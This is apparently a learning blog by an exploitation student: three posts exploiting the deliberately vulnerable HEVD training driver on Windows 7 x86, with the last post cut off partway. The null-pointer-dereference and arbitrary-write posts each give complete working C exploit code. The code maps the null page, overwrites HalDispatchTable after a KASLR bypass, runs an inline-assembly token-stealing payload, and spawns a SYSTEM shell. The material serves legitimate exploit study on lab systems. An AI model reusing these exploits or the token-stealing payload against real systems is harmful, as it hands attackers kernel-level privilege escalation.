Sunday 16 June 2024

Windows7 x86 null pointer Dereference

 Hello, In the previous post we have exploited the HEVD Arbitrary Write on windows 7 x86. Today, I will be doing the HEVD Null Pointer Dereference vuln . The source code to the bug is here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/NullPointerDereference.c . There are lot of post on HEVD , I also looked on some of them h0mbre for making my exploit and learning the exploit methodology. 

NOTE: Null pointer dereference was mitigated in windows 8 in both 32 bit and 64 bit machine  .You can look at windows mitigation here  https://github.com/nccgroup/exploit_mitigations/blob/main/windows_mitigations.md . This mitigation killed almost all the null pointer dereference exploits (maybe be possible).

Source Code Analysis

The function TriggerNullPointerDereference takes the userBuffer from the NullPointerDereferenceIoctlHandler  and 
stores it in the Uservalue and compares it with the Magic Value 0xbadobobo  and if they are equal it the function address of NullPointerdereferenceObjectCallback .
typedef struct _NULL_POINTER_DEREFERENCE
{
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
 //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            NullPointerDereference = NULL;
        }

The Bug is in this part of this part of the where it doesn't check whether the NullPointerDereference->callback  is null or not. 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //

        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //

        NullPointerDereference->Callback();

Mapping NullPage

So, If we send some junk value in the userBuffer , then the compares fail and the NullPointerDereference struct remains NULL and it will be executed then . If we put our TokenStealingPayload at the null address then our payload gets executed . We have to map memory at that address for this we will be NtAllocateVirtualMemory windows API to allocate memory at 0x0 and size of 0x1000(4kb). I used the function created by HackSysTeam . 
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}
One thing to notice here is that we have used the BaseAddress as 0x1 beacuse if it is 0x0 it will allocate address at random address instead of 0x0 and this function round up the value to page address boundary so its get round up to 0x0.

Final Payload

Finally we will add our tokenStealing Payload at NULL address + 0x4 because the function is calling at and offset of 0x4.
#include <Windows.h>
#include <stdio.h>

//device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//ioctl number
#define NULL_DEREF IOCTL(0x80A)

// NtAllocateVirtualMemory function typedef
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG      ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG      AllocationType,
	IN ULONG      Protect);

NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;

PVOID NullBaseAddress = NULL;
PVOID AddressToBeCalled = NULL;

// Map NULL address
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad									; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax							; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]		; Get nt!_KPCR.PcrbData.CurrentThread
												; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]		; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax							; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID						; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]		; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx			; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]			; Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + TOKEN_OFFSET], edx			; Replace target process nt!_EPROCESS.Token
												; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad									; Restore registers state	
	}
}


INT main()
{
	//Any Junk value
	ULONG MagicValue = 0xDEADBEEF;

	//open handle to HEVD
	HMODULE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to open handle to HEVD.\n");
	}
	else {
		printf("[+] Handle Opened Successfully\n");
	}

	// Map Null address for shellcode 
	if (!mapnullpage()) {
		printf("[!]Failed to map NULL Address\n");
	}
	else {
		printf("[+] NULL Address mapped Successfully\n");
	}

	// Address that is going to be executed
	AddressToBeCalled = (PVOID)((ULONG)NullBaseAddress + 0x4);

	PVOID EopPayload = &TokenStealingPayload;

	//Adding the function pointer of TokenStealingPayload
	*(PULONG)AddressToBeCalled = (ULONG)EopPayload;


	ULONG BytesReturned;

	//Calling NULL_DEREFERENCE_IOCTL_HANDLER
	BOOL ret = DeviceIoControl(h,
		NULL_DEREF,
		(LPVOID)&MagicValue,
		(DWORD)sizeof(MagicValue)
		, NULL, 0, &BytesReturned, NULL);

	if (ret) {
		printf("[+] IOCTL opened Successfully.\n");
	}
	else {
		printf("[!] Failed to open IOCTL \n");
	}

	printf("[+] Spawning system shell.\n");

	//shell

	system("cmd.exe");

	return EXIT_SUCCESS;
}
We got the System Shell.

Thanks .Peace.

Wednesday 12 June 2024

Windows 7 x86 Arbitrary Write

 In the Previous post , We have exploited HEVD StackOverflow on Windows 7 x86.Today, I will try another Vulnerability on the same system Arbitrary Write also know as Write-What-Where . I referenced @33y0re blogpost for learning the technique used in this blog. Thanks Connor McGarr.

First look at the header file of Arbitrary Write :

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
Here you can see that typedef  is used to create a data type WRITE_WHAT_WHERE  and a pointer to it PWRITE_WHAT_WHERE .  This is a common way in which most typedefs are created in windows. 

Now Looking at the arbitrary_write.c file 
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
The function TriggerArbitraryWrite  takes input UserWriteWhatWhere which is a pointer to the WRITE_WHAT_WHERE structure .
       DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);
 Looking at the Vulnerability , you can see that you have have permission to choose what and where . It doesn't whether the where is a usermode address or kernel mode. So , We can now write at any Kernel mode address with any value we want.

What Next??????


The Next question comes to mind that where should write now then. In the previous exploit we wrote our token stealing payload to the return address, but there is no return address here.
There is a way which is the HALDispatchTable. NtQueryIntervalProfile is an undocumented Windows API exported by ntdll.dll that calls the KeQueryIntervalProfile which calls the  2nd offset of HALDispatchTable .



So, using our Arbitrary write we can write to this offset, and then we will call this windows API NtQueryIntervalprofile to execute our tokenstealingPayload.

BUT  KASLR (kernel Address space Layout Randomization) was added in windows 7 ( not surely) which randomizes the base address of ntoskrnl.exe (almost windows kernel) upon every reboot . From there we can get the address of HalDispatchTable + 0x4 , so that we can overwrite it.
So, first we need to find the address of ntoskrnl.exe .

KALSR BYPASS


There is a very useful function provided by Microsoft is the EnumDeviceDrivers
which enumerates all the drivers and put it in a list. Then we will use another windows API GetDeviceDriverBaseName to check the name of the drivers using the address we found using EnumDeviceDrivers. 
Listing all the loaded drivers on the system :

#include <Windows.h> #include <Psapi.h> #include <stdio.h> #include <tchar.h> #define ARRAY_SIZE 1024 INT main(void) { LPVOID drivers[ARRAY_SIZE]; DWORD cbNeeded; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { TCHAR szdriver[ARRAY_SIZE]; int cdriver = cbNeeded / sizeof(drivers[0]); printf("[#] There are %d drivers.\n", cdriver); for (int i = 0; i < cdriver; i++) { if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){ _tprintf(TEXT("[#] Driver address : 0x%p , Driver Name : %s \n"), drivers[i], &szdriver); } else { printf("[!] GetDeviceDriverBaseName Error....\n"); } } } else { printf("[!] EnumDeviceDriver Failed .....\n"); } }

The Output will be something like this (your address may be different)



NOTE: Your system may have different kernel executable loaded by system depending on the RAM and the CPU cores. You can take a look here ntoskrnl.exe 
for checking about SMP and PAE.
Now we compare the drivers name with ntkrnlpa.exe to find the base address of the kernel.

#include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){
				if (!_tcscmp(szdriver,_T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"),i+1, &szdriver, drivers[i]);
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}


Now , we will use LoadLibrayExA API to load ntoskrnl.exe  and get the offset of HalDispatchTable  using GetProcAddress, then add the kernel base address to it .
 #include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	//HMODULE kUsermode = NULL;
	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntoskrnl.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

}

Lets check the value with windbg debugger.



Nice, Both the values are same in debugger as well as in our code.

 Final Payload

The final exploit after adding the token stealing payload that we used in the our previous blog but this time we don't need the kernel recovery stub because we are not overwriting any return address here .

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

// device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//define IOCTL using CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//IOCTL for Arbitrary Write
#define AAW_IOCTL_NUMBER IOCTL(0x802)

//drivers array size
#define ARRAY_SIZE 1024

// AAW struct
typedef struct WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

// NtQueryIntervalProfile function 
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile; 

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad								; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax						        ; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]                             ; Get nt!_KPCR.PcrbData.CurrentThread
										; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]	                        ; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax						        ; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID					        ; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]	                        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx                              ; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]		                        ; Get SYSTEM process nt!_EPROCESS.Token
		mov [ecx + TOKEN_OFFSET], edx		                        ; Replace target process nt!_EPROCESS.Token
										; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad								; Restore registers state
	}
}

INT main(void)
{
	//KASLR BYPASS
	PVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	// Loading ntkrnlpa.exe 

	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntkrnlpa.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	// Subtracting Usermode Address
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	// Adding kernel Base
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

	//We want the address of HalDispatch Table + 0x4
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + 0x4);

	//Open handle to HEVD
	HANDLE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to Open handle to HEVD\n");
	}
	else {
		printf("[#] Successfully opened handle to HEVD...\n");
	}

	PWRITE_WHAT_WHERE writewhatwhere ;
	writewhatwhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));

	if (!writewhatwhere) {
		printf("[!] Failed to allocate memory for writewhatwhere\n");
	}

	PVOID EopPayload = &TokenStealingPayload;

	printf("[#] Address of EopPaylod : 0x%p\n", EopPayload);

	writewhatwhere->What = (PULONG_PTR) &EopPayload;
	writewhatwhere->Where = (PULONG_PTR)HalDispatchTable;

	ULONG BytesReturned;
	//Caling AAW IOCTL handler
	BOOL ret = DeviceIoControl(h,
		AAW_IOCTL_NUMBER,
		(LPVOID)writewhatwhere,
		(DWORD)sizeof(WRITE_WHAT_WHERE),
		NULL,
		0,
		&BytesReturned,
		NULL);

	if (ret) {
		printf("[#] IOCTL opened Successfully...\n");
	}
	else {
		printf("[!] Error Opening IOCTL\n");
	}

	//Call NtQueryIntervalProfile to call HalDispatchTable + 0x4

	HMODULE ntdll = NULL;
	ntdll = LoadLibraryA("ntdll.dll");

	if (!ntdll) {
		printf("Failed to open handle to ntdll.dll\n");
		exit(EXIT_FAILURE);
	}

	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");


	// Executing shellcode
	ULONG Interval = 0;
	NtQueryIntervalProfile(0x1337, &Interval);
`               HeapFree(GetProcessHeap(), 0, (LPVOID)writewhatwhere);

	writewhatwhere = NULL;

	printf("[###] Spawning nt authority/shell \n");

	system("cmd.exe");

	return EXIT_SUCCESS;
}
Finally after calling NtQueryIntervalProfile , our payload get executed.

SHELL(NT AUTHORITY/SYSTEM)


We became the NT AUTHORITY/SYSTEM.


Thanks . Peace

Tuesday 28 May 2024

Windows 7 x86 SP1 Kernel Stack Overflow

 So, recently  I have started Learning Windows kernel exploitation, After looking through the web for WKE resources . I found that HEVD(HackSys Extreme Vulnerable Driver) made by HackSysTeam will be best to learn WKE as it have all the basic vulnerability classes like Stack Overflow, Null pointer dereference, User-after-free. I will take a single vulnerability ,then try to make exploit and learn it in windows 7 X86 , then try the same vulnerability in windows 10 , then windows 11. because Microsoft has added has added a lot of mitigations with newer versions of windows which will help me in learning ways to bypasses this mitigations. OK, lets start with stack overflow on windows 7 x86 SP1. ("First we have to learn walking then we can starting Running").

SETUP

Since We are exploiting kernel , unlike user mode applications if the application crashes We can restart the application but in case of kernel if the Kernel Crashes it will BSOD. SO we have to use a virtual machine to debug the kernel. You can find a lot of blogs on setting windows kernel debugging. I used the rootkit blog to setup the kernel debugging. 

I am using two windows 7 x86 VM, one is the debugger VM which is use dto debug the target VM. After you have setup the debugger it should looks something like this.

Windbg
Now, load the vulnerable HEVD driver on the target VM . I am using OSRLoader
to load the driver. It can also be done using command in windows.
First register the service and then start the service.

IoCreateDevice and IOCTL


Lets take a look at how the driver is created in  kernel,https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.c. Here is the part of code in which the device is created.

  RtlInitUnicodeString(&DeviceName, "\\Device\\HackSysExtremeVulnerableDriver");
    RtlInitUnicodeString(&DosDeviceName, "\\DosDevices\\HackSysExtremeVulnerableDriver");

    //
    // Create the device
    //

    Status = IoCreateDevice(
        DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject
    );

The function IoCreateDevice is used to create device and device name is HackSysExtremeVulnerableDriver . With CreateFile Windows API we can read or write to the driver , but driver has something more to do despite just read or write, for this IOCTL is used. Every Routine of the driver can be defined by a specific IOCTL number. Lets look at the IOCTL of the HEVD,

    // Assign the IRP handlers for Create, Close and Device Control
    //

    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

 IRPs are I/O request packets which are send to IOCTL to do further functioning. Here , Create , Close and Device control IOCTLS are created in which the IRP_MJ_DEVICE_CONTROL is used to IOCTL codes to driver from IRP.

/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
IrpDeviceIoCtlHandler(
    _In_ PDEVICE_OBJECT DeviceObject,
    _Inout_ PIRP Irp
)
{
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);

    if (IrpSp)
    {
        IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

        switch (IoControlCode)
        {
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            break;

Here the IrpDeviceIoctlHandler is defined which uses switch statement on the basis of the IOCTL number. The IOCTL number is defined here

//
// IOCTL Definitions
//

#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)
#define HEVD_IOCTL_TYPE_CONFUSION                                IOCTL(0x808)
#define HEVD_IOCTL_INTEGER_OVERFLOW                              IOCTL(0x809)
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
#define HEVD_IOCTL_DOUBLE_FETCH                                  IOCTL(0x80D)
#define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS                   IOCTL(0x80E)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL              IOCTL(0x80F)
#define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION            IOCTL(0x810)
#define HEVD_IOCTL_WRITE_NULL                                    IOCTL(0x811)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX             IOCTL(0x812)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX           IOCTL(0x813)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX         IOCTL(0x814)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX              IOCTL(0x815)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX             IOCTL(0x816)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX        IOCTL(0x817)
#define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x818)
#define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x819)
#define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x81A)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x81B)
#define HEVD_IOCTL_ARBITRARY_INCREMENT                           IOCTL(0x81C)
You can see that there is different IOCTL number for different routine. The IOCTL(function) is defined by using Windows Macro CTL_CODE, which just do some arithmetic to calculate the IOCTL code.

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

VULNERABILITY

Lets look at the stack Overflow vulnerability StackOverflow.c . Since we have the source we don't need to reverse it. The source code is pretty good commented with secure and vulnerable section.

The vulnerability is clearly visible that the function RtlCopyMemory is copying from usermode buffer to kernel buffer without any control on the amount of size to be copied. 

So, now how to trigger the vulnerability ? As mentioned every driver creates a symbolic link in the /Device path . So we can interact with the driver by using CreateFileA() WinAPI to open a handle to the /Device/HackSysExtremeVulnerableDriver  and for triggering the Stack Overflow vuln we have to send IOCTL code to the BufferOverfloeStackIOCTLHandler using DeviceIOControl API. Kernel Buffer size is 512 and it is ULONG so it takes 2048 bytes. Since we don't know the exact buffer size that will be needed to overwrite the EIP . Lets a write a basic script that will crash the kernel into BSOD.

#include <windows.h>
#include <stdio.h>

// PATH includes double slashes due to LPCSTR
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

// IOCTL defined in HEVD using CTL_CODE Macro
